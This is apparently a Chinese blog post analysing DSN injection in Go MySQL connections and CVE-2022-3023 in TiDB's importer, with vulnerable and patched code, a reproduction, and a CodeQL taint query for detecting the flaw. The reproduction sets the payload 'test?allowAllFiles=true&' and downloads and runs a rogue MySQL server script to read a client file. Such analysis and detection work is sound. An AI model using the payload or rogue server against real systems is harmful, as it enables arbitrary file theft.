DSN Injection(CVE-2022-3023)

DSN

DSN通常指数据源名称(Data Source Name),它被用于存储数据库连接信息,如数据库服务器的地址、数据库名、用户名以及密码等,以便软件能够利用这些信息连接到数据库。

DSN Injection

DSN注入(DSN Injection)指测试者通过向Web应用程序或其他软件的数据源名称(DSN)输入不安全的数据,试图影响程序对数据库的连接和查询。由于DSN包含了用于访问数据库的凭证和路径信息,通过注入可以让测试者绕过身份验证,窃取数据,甚至可能对数据库执行非法操作。

代码示例

问题代码

复制代码
func bad() interface{} {
    name := os.Args[1:]
    // This is bad. `name` can be something like `test?allowAllFiles=true&` which will allow an attacker to access local files.
    dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", "username", "password", "127.0.0.1", 3306, name)
    db, _ := sql.Open("mysql", dbDSN)
    return db
}

代码的功能是创建数据库(DSN)连接字符串,并尝试利用这个字符串打开MySQL数据库的连接。不过,代码实现中存在安全隐患,可能导致DSN注入:

1.从命令行参数获取数据库名name。

2.name没有进行任何的验证和清理。

3.使用name构建dbDSN字符串,连接数据库时可能会执行包含在name中的额外参数。

4.其中的注释指出,如果输入的name包含如test?allowAllFiles=true& 的内容,可能使测试者访问本地文件。

正确代码

复制代码
func good() (interface{}, error) {
    name := os.Args[1]
    hasBadChar, _ := regexp.MatchString(".*[?].*", name)

    if hasBadChar {
        return nil, errors.New("Bad input")
    }

    dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", "username", "password", "127.0.0.1", 3306, name)
    db, _ := sql.Open("mysql", dbDSN)
    return db, nil
}

这段代码试图改进之前版本的函数,目的是创建和打开一个安全的MySQL数据库连接:

1.从命令行参数获取数据库名name。

2.使用正则表达式检查name是否含有问号?;如果含有,可能是不安全或恶意输入,此时函数返回nil和一个错误。

3.如果输入通过验证,使用name构建DSN连接字符串dbDSN。

4.尝试使用dbDSN通过sql.Open打开数据库连接。

5.返回数据库连接db或者nil,以及一个对应的错误error。

CVE-2022-3023

漏洞描述

TiDB服务器(importer命令行工具)在6.4.0版本之前和6.1.3版本之前存在DSN注入漏洞。用于生成和插入数据库数据的数据库名称没经过任何清理就并入DSN中,导致任意文件读取。

TiDB Importer

TiDB Importer是一个用于快速导入大量数据到TiDB数据库的工具。它通常与TiDB Lightning 配合使用,其中TiDB Lightning负责将数据转换为TiKV可以理解的格式,而TiDB Importer则将这些数据实际导入到TiKV集群中。

漏洞分析

漏洞修复的补丁在这里:

https://github.com/pingcap/tidb/commit/d0376379d615cc8f263a0b17c031ce403c8dcbfb

看看主要修改的内容:

原来会使用fmt.Sprintf的方式拼接dsn:

复制代码
dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", cfg.User, cfg.Password, cfg.Host, cfg.Port, cfg.Name)
db, err := sql.Open("mysql", dbDSN)

1.而cfg.Name表示直接从配置文件中读取database name,没有经过任何清理;

2.现在已经改成了使用cfg配置登录的模式,类似预编译:

复制代码
driverCfg := mysql2.NewConfig()
driverCfg.User = cfg.User
driverCfg.Passwd = cfg.Password
driverCfg.Net = "tcp"
driverCfg.Addr = cfg.Host + ":" + strconv.Itoa(cfg.Port)
driverCfg.DBName = cfg.Name

c, err := mysql2.NewConnector(driverCfg)

漏洞复现

首先拉取tidb的源码:

复制代码
git clone https://github.com/pingcap/tidb.git

切换到有漏洞的版本:

复制代码
git checkout tags/v6.1.2

构建importer

复制代码
cd tidb/cmd/importer
go build .

配置Rogue MySQL服务器,启动服务:

复制代码
wget -q https://github.com/allyshka/Rogue-MySql-Server/raw/master/roguemysql.php
# 运行 Rogue-MySql-Server 脚本
php roguemysql.php /path/to/target/file

修改config.toml文件:

复制代码
[db]
host = "127.0.0.1"
user = "root"
password = ""
name = "test?allowAllFiles=true&"
port = 3306

执行importer, 可以看到已经读取了客户端文件,并回显了文件内容:

复制代码
./importer -config config.toml

CodeQL查询分析

污点分析模型构建

定义Source抽象类:

复制代码
abstract class Source extends DataFlow::Node { }

定义了一个名为DsnInjectionConfig的私有模块,它实现了DataFlow::ConfigSig接口。DataFlow::ConfigSig是CodeQL中用于配置数据流分析的接口:

复制代码
private module DsnInjectionConfig implements DataFlow::ConfigSig {
  predicate isSource(DataFlow::Node source) { source instanceof Source }

  predicate isSink(DataFlow::Node sink) {
    exists(DataFlow::CallNode c |
      c.getTarget().hasQualifiedName("database/sql", "Open") and
      c.getArgument(0).getStringValue() = "mysql"
    |
      sink = c.getArgument(1)
    )
  }

  predicate isBarrier(DataFlow::Node node) { node instanceof RegexpCheckBarrier }
}

DsnInjectionConfig指定数据流分析的三个主要组件:源(source),汇(sink)和阻断点(barrier)。其中source为:

复制代码
predicate isSource(DataFlow::Node source) { source instanceof Source }

这个谓词定义的那些节点应当被视为污染源。在这里,任何Source类型的 DataFlow::Node都被当做是污染源。

sink为:

复制代码
  predicate isSink(DataFlow::Node sink) {
    exists(DataFlow::CallNode c |
      c.getTarget().hasQualifiedName("database/sql", "Open") and
      c.getArgument(0).getStringValue() = "mysql"
    |
      sink = c.getArgument(1)
    )
  }

首先,查询中存在一个DataFlow::CallNode c,即一个函数或方法调用的数据流节点。

这个节点c调用的目标函数或方法拥有具体的限定名称"database/sql", "Open",指的是Go标准库中用于打开数据库连接的Open函数。

查询检查这个Open函数调用的第一个实际参数(索引为0)的字符串值是否等于"mysql",确认是否正准备打开一个MySQL数据库的连接。

如果上述条件均满足,那么此Open调用的第二个实际参数(索引为1)即为DSN字符串,被认为是一个污染汇,因为在构造DSN时可能会被注入恶意内容。

barrier为:

复制代码
predicate isBarrier(DataFlow::Node node) { node instanceof RegexpCheckBarrier

查询代码

再看看实际的查询代码:

复制代码
import go
import DsnInjectionCustomizations
import DsnInjectionFlow::PathGraph

/** An untrusted flow source taken as a source for the `DsnInjection` taint-flow configuration. */
private class UntrustedFlowAsSource extends Source instanceof UntrustedFlowSource { }

from DsnInjectionFlow::PathNode source, DsnInjectionFlow::PathNode sink
where DsnInjectionFlow::flowPath(source, sink)
select sink.getNode(), source, sink, "Data-Source Name is built using $@.", source.getNode(),
  "untrusted user input"

可以详细解读一下这段查询语句,分成三部分:

from子句:

复制代码
from DsnInjectionFlow::PathNode source, DsnInjectionFlow::PathNode sink

这定义了查询的起点和终点。

source和sink是DsnInjectionFlow::PathNode的实例,分别表示污点传播路径的源头和终点。

where子句:

复制代码
where DsnInjectionFlow::flowPath(source, sink)

这里过滤出了实际存在污点传播的路径。

DsnInjectionFlow::flowPath是一个谓词,当数据流从source节点成功到达sink节点时,这个谓词返回真。

select子句:

复制代码
select sink.getNode(), source, sink, "Data-Source Name is built using $@.", source.getNode(), "untrusted user input"

sink.getNode()返回数据污染的终节点,通常是一个表达式或者调用节点。

source和sink分别返回表示传播路径起点和终点的PathNode。在CodeQL中,PathNode代表数据流路径中的节点。

"Data-Source Name is built using @."是一段输出信息,用于在找到问题时告知用户。@是一个占位符,它会被随后的参数替换。

source.getNode()是$@的替换内容,表示污点源的节点。

"untrusted user input"是source.getNode()的标签描述,通知用户该节点是不可信的用户输入。

相关推荐
ghie909019 小时前
基于MATLAB的遗传算法优化支持向量机实现
算法·支持向量机·matlab
codecrafter12319 小时前
FLAC3D 7.0岩土工程分析软件安装图文教程(含下载链接)
其他
老陈头聊SEO1 天前
提升SEO效果的长尾关键词优化策略与实践分享
其他·搜索引擎
StarPrayers.1 天前
旅行商问题(TSP)(2)(heuristics.py)(TSP 的两种贪心启发式算法实现)
前端·人工智能·python·算法·pycharm·启发式算法
ghie90902 天前
基于libsvm的支持向量机在MATLAB中的实现
算法·支持向量机·matlab
月疯2 天前
剪映制作一个播放进度条
其他
少许极端2 天前
算法奇妙屋(六)-哈希表
java·数据结构·算法·哈希算法·散列表·排序
润 下2 天前
C语言——深入解析C语言指针:从基础到实践从入门到精通(三)
c语言·开发语言·经验分享·笔记·学习·程序人生·其他
深栈2 天前
机器学习:支持向量机
算法·机器学习·支持向量机
Boop_wu2 天前
[数据结构] 哈希表
算法·哈希算法·散列表